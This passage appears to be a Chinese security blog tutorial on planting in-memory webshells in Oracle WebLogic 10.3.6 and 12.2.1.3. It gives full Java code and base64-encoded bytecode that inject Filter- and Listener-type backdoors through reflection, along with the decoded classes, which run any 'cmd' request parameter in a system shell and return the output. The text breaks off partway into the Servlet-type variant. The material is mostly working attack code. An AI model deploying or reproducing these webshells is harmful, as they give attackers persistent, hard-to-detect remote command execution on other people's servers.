测试环境
操作系统:Windows 2016weblogic版本:10.3.6JDK版本:1.7.80
需要导入的依赖包
C:\Oracle\Middleware\wlserver_10.3\server\libC:\Oracle\Middleware\modules

Base64与Class文件互转
实现代码
Base64字符串 转 Class文件
import sun.misc.BASE64Decoder;import java.io.FileOutputStream;import java.io.IOException;public class Base64ToClass {public static void main(String[] args) throws IOException {String d = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";byte[] dx = new BASE64Decoder().decodeBuffer(d);FileOutputStream abc = new FileOutputStream("xxx.class");abc.write(dx);abc.close();}}
Class文件 转 Base64字符串
import sun.misc.BASE64Encoder;import java.io.*;public class ClassToBase64 {public static void main(String[] args) {try{File file = new File("E:\\Demo\\TestJava\\target\\classes\\cmdFilter.class");FileInputStream fileInputStream = new FileInputStream(file);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();byte[] bytes = new byte[fileInputStream.available()];int len;while ((len = fileInputStream.read(bytes))!=-1){byteArrayOutputStream.write(bytes,0,len);}String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());System.out.println(encode.replaceAll("\\r|\\n",""));}catch (Exception e){e.printStackTrace();}}}
0x01 Filter型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;import weblogic.servlet.internal.ServletRequestImpl;import weblogic.servlet.internal.WebAppServletContext;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;import javax.servlet.http.*;public class HelloServlet extends HttpServlet {private String message;public void init() {message = "Hello World!";}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {response.getWriter().write("this is filter ");Thread thread = Thread.currentThread();try {//获取WebAppServletContextField workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");workEntry.setAccessible(true);Object workentry = workEntry.get(thread);WebAppServletContext webAppServletContext=null;try{ //weblogic 12.1.3Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");connectionHandler.setAccessible(true);Object http = connectionHandler.get(workentry);Field request1 = http.getClass().getDeclaredField("request");request1.setAccessible(true);ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);Field context = servletRequest.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(servletRequest);}catch (Exception e){//weblogic 1036Field context = workentry.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(workentry);}if(webAppServletContext==null){throw new Exception("null");}//加载字节码String encode_class = "yv66vgAAADMAkwoAHgBKCAA/CwBLAEwIAE0KAE4ATwoACQBQCABRCgAJAFIHAFMIAFQIAFUIAFYIAFcKAFgAWQoAWABaCgBbAFwHAF0KABEAXggAXwoAEQBgCgARAGEKABEAYggAYwsAZABlCgBmAGcKAGYAaAoAZgBpCwBqAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFMHADAHAHAHAF0HAFMHAHEBAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHIMAHMAdAEAB29zLm5hbWUHAHUMAHYAdAwAdwB4AQADd2luDAB5AHoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAewwAfAB9DAB+AH8HAIAMAIEAggEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIMBAAJcYQwAhACFDACGAIcMAIgAeAEAAAcAiQwAigCLBwCMDACNAI4MAI8AIQwAkAAhBwCRDAAtAJIBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAADMAAQABAAAABSq3AAGxAAAAAgAjAAAACgACAAAADQAEAA4AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAANQAAAAIAAAABsQAAAAIAIwAAAAYAAQAAABEAJAAAABYAAgAAAAEAJQAmAAAAAAABACkAKgABACsAAAAEAAEALAABAC0ALgACACIAAAGAAAQACgAAAKIrEgK5AAMCADoEGQTGAI0BOgUSBLgABbYABhIHtgAImQAbBr0ACVkDEgpTWQQSC1NZBRkEUzoFpwAYBr0ACVkDEgxTWQQSDVNZBRkEUzoFuAAOGQW2AA+2ABA6BrsAEVkZBrcAEhITtgAUOgcZB7YAFZkACxkHtgAWpwAFEhc6CCy5ABgBADoJGQkZCLYAGRkJtgAaGQm2ABstKyy5ABwDALEAAAADACMAAAA+AA8AAAAUAAoAFQAPABYAEgAXACIAGAA6ABoATwAdAFwAHgBsAB8AgAAgAIgAIQCPACIAlAAjAJkAJgChACcAJAAAAGYACgASAIcALwAwAAUAXAA9ADEAMgAGAGwALQAzADQABwCAABkANQA2AAgAiAARADcAOAAJAAAAogAlACYAAAAAAKIAOQA6AAEAAACiADsAPAACAAAAogA9AD4AAwAKAJgAPwA2AAQAQAAAABwABf0AOgcAQQcAQhT9ACwHAEMHAERBBwBF+AAaACsAAAAGAAIARgAsAAEARwAhAAEAIgAAACsAAAABAAAAAbEAAAACACMAAAAGAAEAAAAqACQAAAAMAAEAAAABACUAJgAAAAEASAAAAAIASQ==";byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);defineClass.setAccessible(true);//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoaderField loader = webAppServletContext.getClass().getDeclaredField("classLoader");loader.setAccessible(true);ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");classLoader.setAccessible(true);ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);//获取cachedClassesField cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");cachedClasses.setAccessible(true);Object cachedClasses_map = cachedClasses.get(classLoader1);Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);get.setAccessible(true);//如果cachedClasses中不存在cmdFilter类if (get.invoke(cachedClasses_map, "cmdFilter") == null) {//把cmdFilter的class 存入cachedClasses中Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);put.setAccessible(true);put.invoke(cachedClasses_map, "cmdFilter", filter_class);//获取filterManager类Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");filterManager.setAccessible(true);Object o = filterManager.get(webAppServletContext);//注册FilterMethod registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);registerFilter.setAccessible(true);registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);response.getWriter().write("success!!!");}} catch (Exception e) {e.printStackTrace();}}public void destroy() {}}
Base64字符串加载的类
import java.io.IOException;import java.io.InputStream;import java.io.Writer;import java.util.Scanner;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;public class cmdFilter implements Filter {public cmdFilter() {}public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {String cmd = servletRequest.getParameter("cmd");if (cmd != null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = (new Scanner(in)).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}
0x02 Listener型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;import weblogic.servlet.internal.EventsManager;import weblogic.servlet.internal.ServletRequestImpl;import weblogic.servlet.internal.WebAppServletContext;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.EventListener;public class guguServlet extends HttpServlet {public void init() {}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {response.getWriter().write("hello");Thread thread = Thread.currentThread();try {//获取WebAppServletContextField workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");workEntry.setAccessible(true);Object workentry = workEntry.get(thread);WebAppServletContext webAppServletContext=null;try{ //weblogic 12.1.3Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");connectionHandler.setAccessible(true);Object http = connectionHandler.get(workentry);Field request1 = http.getClass().getDeclaredField("request");request1.setAccessible(true);ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);Field context = servletRequest.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(servletRequest);}catch (Exception e){//weblogic 1036Field context = workentry.getClass().getDeclaredField("context");context.setAccessible(true);webAppServletContext = (WebAppServletContext) context.get(workentry);}if(webAppServletContext==null){throw new Exception("null");}//打印当前web的目录System.out.println(webAppServletContext.getRootTempDir());//加载字节码String encode_class ="yv66vgAAADMAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMTG15TGlzdGVuZXI7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQATc2VydmxldFJlcXVlc3RFdmVudAEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAScmVxdWVzdEluaXRpYWxpemVkAQACcHMBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAJzYgEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAVgcAWQcAWgcAWwcARAcASgcAVQEAClNvdXJjZUZpbGUBAA9teUxpc3RlbmVyLmphdmEMABoAGwcAWQwAXABdBwBeDABfAGAHAGEMAGIAYwwAZABlAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAFsMAGYAZwwAGgBoDAAaAGkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABqAGsMAGwAbQEABDxicj4MAG4AawEALHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlcXVlc3RJbXBsDABvAHAHAHEMAHIAcwcAdAwAdQB2AQATamF2YS9pby9JT0V4Y2VwdGlvbgEACm15TGlzdGVuZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdExpc3RlbmVyAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACHRvU3RyaW5nAQALZ2V0UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAXABgAAQAZAAAAAwABABoAGwABABwAAAAvAAEAAQAAAAUqtwABsQAAAAIAHQAAAAYAAQAAAAoAHgAAAAwAAQAAAAUAHwAgAAAAAQAhACIAAQAcAAAANQAAAAIAAAABsQAAAAIAHQAAAAYAAQAAAA4AHgAAABYAAgAAAAEAHwAgAAAAAAABACMAJAABAAEAJQAiAAEAHAAAAV8ABQAJAAAAciu2AAISA7kABAIATSzGAGS4AAUstgAGTrsAB1m7AAhZLbYACbcACrcACzoEuwAMWbcADToFGQS2AA5ZOgbGABMZBRkGtgAPEhC2AA9Xp//oGQW2ABE6Byu2AALAABK2ABM6CBkItgAUGQe2ABWnAAROsQABABAAbQBwABYAAwAdAAAANgANAAAAEgAMABMAEAAVABgAFgAsABcANQAZAEAAGgBQABwAVwAdAGMAHgBtACAAcAAfAHEAIgAeAAAAXAAJABgAVQAmACcAAwAsAEEAKAApAAQANQA4ACoAKwAFAD0AMAAsAC0ABgBXABYALgAtAAcAYwAKAC8AMAAIAAAAcgAfACAAAAAAAHIAIwAkAAEADABmADEALQACADIAAAA1AAT/ADUABgcAMwcANAcANQcANgcANwcAOAAA/AAaBwA1/wAfAAMHADMHADQHADUAAQcAOQAAAQA6AAAAAgA7";byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);defineClass.setAccessible(true);//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoaderField loader = webAppServletContext.getClass().getDeclaredField("classLoader");loader.setAccessible(true);ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);System.out.println(filter_class);//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");classLoader.setAccessible(true);ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);//获取cachedClassesField cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");cachedClasses.setAccessible(true);Object cachedClasses_map = cachedClasses.get(classLoader1);Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);get.setAccessible(true);//如果cachedClasses中不存在cmdListener类if (get.invoke(cachedClasses_map, "cmdListener") == null) {//把cmdListener的class 存入cachedClasses中Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);put.setAccessible(true);put.invoke(cachedClasses_map, "cmdListener", filter_class);Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");eM.setAccessible(true);EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);try {//Weblogic 12.1.3//创建EventListenerMethod listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);listen.setAccessible(true);EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");//调用addEventListener添加ListenerMethod addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);addListener.setAccessible(true);addListener.invoke(eventsManager,listener);response.getWriter().write("success!!!");}catch (Exception e){//weblogic1036 可以直接调用registerListener添加Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);listen.setAccessible(true);listen.invoke(webAppServletContext,"cmdListener");response.getWriter().write("success!!!");}}} catch (Exception e) {e.printStackTrace();}}public void destroy() {}}
Base64字符串加载的类
import weblogic.servlet.internal.ServletRequestImpl;import weblogic.servlet.internal.ServletResponseImpl;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class myListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");if (cmd != null) {try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {sb.append(line).append("<br>");//执行结果加上回车}String result = sb.toString();ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();response.getWriter().write(result);} catch (IOException e) {}}}}
0x03 Servlet型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;import weblogic.servlet.internal.ServletRequestImpl;import weblogic.servlet.internal.ServletStubImpl;import weblogic.servlet.internal.WebAppServletContext;import weblogic.servlet.utils.ServletMapping;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;public class guguguServlet extends HttpServlet {public void init() {}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {try {String URI = "/aaa";//获取servletContextThread thread = Thread.currentThread();//获取WebAppServletContextField workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");workEntry.setAccessible(true);Object workentry = workEntry.get(thread);WebAppServletContext servletContext = null;try { //weblogic 12.1.3Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");connectionHandler.setAccessible(true);Object http = connectionHandler.get(workentry);Field request1 = http.getClass().getDeclaredField("request");request1.setAccessible(true);ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);Field context = servletRequest.getClass().getDeclaredField("context");context.setAccessible(true);servletContext = (WebAppServletContext) context.get(servletRequest);} catch (Exception e) {//weblogic 1036Field context = workentry.getClass().getDeclaredField("context");context.setAccessible(true);servletContext = (WebAppServletContext) context.get(workentry);}// 获取servletMappingMethod getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");getServletMapping.setAccessible(true);ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);ServletStubImpl servletStub = null;// 使用ServletStub包装HttpServletString encode_class = 